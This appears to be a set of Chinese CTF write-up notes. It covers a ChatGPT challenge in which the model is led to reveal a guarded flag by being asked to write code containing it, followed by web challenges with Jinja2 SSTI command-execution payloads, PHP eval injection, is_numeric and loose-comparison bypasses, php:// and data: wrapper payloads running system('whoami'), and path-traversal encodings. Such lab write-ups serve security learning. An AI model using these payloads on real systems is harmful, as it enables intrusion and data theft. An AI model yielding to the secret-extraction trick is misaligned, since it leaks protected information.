# MISC
# chatgpt-1
本题是在研究chatgpt的灵光乍现。 也算是对AI安全性的一种测试。 由于是基于AI的,所以难度不能保证每个人一致但总体不会相差过大。 做题需要自备ApiKey(平台承诺不会窃取任何用户的ApiKey),介意勿开
建立环境后,直接尝试让AI告诉我们flag 
这样看来,题目可能给出了不要告诉用户flag之类的prompt 那么换个方向,chatgpt本身知道flag,但是不能直接告诉我们,我们可以让chatgpt教我们写代码,然后在代码里面chatgpt会把flag设置为常量

# Web
# php
# "=="与is_numeric()
php中,==与===的区别:
===会同时比较字符串的值和类型==会先将字符串换成相同类型,再作比较,属于弱类型比较==对于所有0e开头的都为相等
弱类型比较示例:
var_dump("admin"==0); // true
var_dump("1admin"==1); // true
var_dump("2admin"==2); // true
var_dump("ad1min"==1); // false
var_dump("admin1"==1); // false
var_dump("admin1"==0); // true
var_dump(0e1234 == 0e56789); // true
php的is_numeric()函数,判断参数是否为数字或数字字符串 is_numeric()可以用%00和%20绕过,%00无论位于数字前后都返回False,%20位于数字后时返回False
# Bugku 矛盾
题目代码
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
# SSTI
# Bugku Simple_SSTI_1
启动场景,题目提示输入flag作为参数

随便设置一个flag,然后结果是把内容原样输出了一次

顺便在F12里可以看到题目的后端是Python写的,然后这个Werkzeug可以查到是Flask框架里面的一个组件

接下来尝试一下模板注入,分别将flag设置为{{2*2}}和{{1+1}}


在flag={{1+1}}的时候报错了,并且会输出整个调用栈,其中可以看到部分函数代码
由此可以确定服务器后端是Flask框架编写的
由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等 首先通过对象的
__class__属性获取字典对象所属的类,再通过__base__(__bases[0]__)拿到基类,然后使用__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类
尝试flag={{().__class__.__bases__[0].__subclasses__()}} 可以获取到object的所有子类 
可以用
__init__.__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等) python3中的int(),eval()这些函数,都可以在__builtins__中找到
通过下面的代码,找出__globals__中含有__builtins__的类
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try: # __init__.__globals__属性不一定每个类都有
print(i.__init__.__globals__.keys())
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

然后搜索这个类名
这个类是列表的第76个元素,直接通过索引引用
尝试调用os.listdir() flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'%27']['eval']('__import__("os").listdir()')}} 
读取源代码文件 flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('open("app.py").read()')}}

从第5行可以看到,flag是通过subprocess.getoutput('echo $FLAG')读取的 构造同样的eval('__import__("subprocess").getoutput("echo $FLAG")')
flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("subprocess").getoutput("echo $FLAG")')}}

当然在这道题中,从源代码得知flag也被存放到了app.config['SECRET_KEY']中,直接读取config也可以拿到flag 
# Bugku Simple_SSTI_2
按照Simple_SSTI_1中的方法,首先拿到页面的源代码 
第5行可以看到,这里的echo $FLAG > flag把flag写到了文件flag中
通过__import__("os").listdir()可以看到当前目录下存在flag文件 
直接读取文件内容得到flag 
# 变量注入
类似下面的php代码
<?php
$a = $_GET['a'];
eval("var_dump($a);");
?>
变量$a在输入的时候没有做严格过滤,可能存在手动闭合实现任意代码注入
php单双引号区别:
- 双引号里面的字段会经过编译器解释,然后再当作HTML代码输出
- 单引号里面的字段不进行解释,会直接输出
双引号里面插入变量,变量后面如果有英文或中文字符,它会把这个字符和变量拼接起来,视为一整个变量 因此,对于这里的eval函数的参数字符串"var_dump($a);",假设$a="abc",那么eval执行的实际参数是"var_dump(abc);"

# Bugku eval
访问,看到以下源代码
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
该页面引用了flag.php,所以flag应该就写在这个文件里面,并且页面接收一个参数hello,然后在下面用eval("var_dump()")的方式将变量输出 很明显hello没有经过任何过滤,因此可以手动闭合eval中的var_dump()函数,然后构造一个读取flag.php的代码
eval( "var_dump($a);"); //原始代码
eval( "var_dump(abc);show_source('flag.php');var_dump();"); //目标代码
最终的payload为?hello=abc);show_source('flag.php');var_dump( 
# 超级全局变量
有时候可以通过超级全局变量拿到一些隐藏变量值
# Bugku 变量1
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
页面接收输入参数args,用正则表达式^\w+$匹配,匹配成功则打印变量$$args,即输入的参数是需要打印的变量名 正则\w等同于[a-zA-Z0-9_],特殊符号只能使用下划线,所以无法手动闭合eval的内容
尝试查看全局变量$GLOBALS,args=GLOBALS 
直接拿到flag
# 文件包含
# php伪协议
php://input 需要参数allow_url_include = On 将php代码放在POST请求体中传入
index.php
?file=php://input
POST:
<? phpinfo();?>
php://filter 通过指定末尾的文件,可以读取经base64加密后的文件源码
php://filter/read=convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index.php
phar:// 需要php版本>=5.3.0 假设有文件phpinfo.txt,内容为<?php phpinfo(); ?>,打包为压缩包test.zip 可以指定绝对路径或相对路径
phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
phar://test.zip/phpinfo.txt
zip:// 需要php版本>=5.3.0 zip压缩包同phar,但是只能指定绝对路径,并且将#编码为%23
zip://D:/phpStudy/WWW/fileinclude/test.zip%23phpinfo.txt
data:URI schema 需要php版本>=5.2,allow_url_fopen = On,allow_url_include = On
data:text/plain,<?php phpinfo();?>
data:text/plain,<?php system('whoami');?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
# 目录遍历
利用../来遍历目录,比如
file=../../log/test.txt
服务器通常会对../进行过滤,可以用其他编码绕过
- URL编码(
\对应%5c)%2e%2e%2f..%2f%2e%2e/
- 二次编码
%252e%252e%252f
# 长度截断
需要php版本<=5.2.8 Windows下长度限制为256字节,Linux下为4096字节 利用不断重复./来截断
# 0字节截断
需要php版本<=5.3.4 利用%00字节截断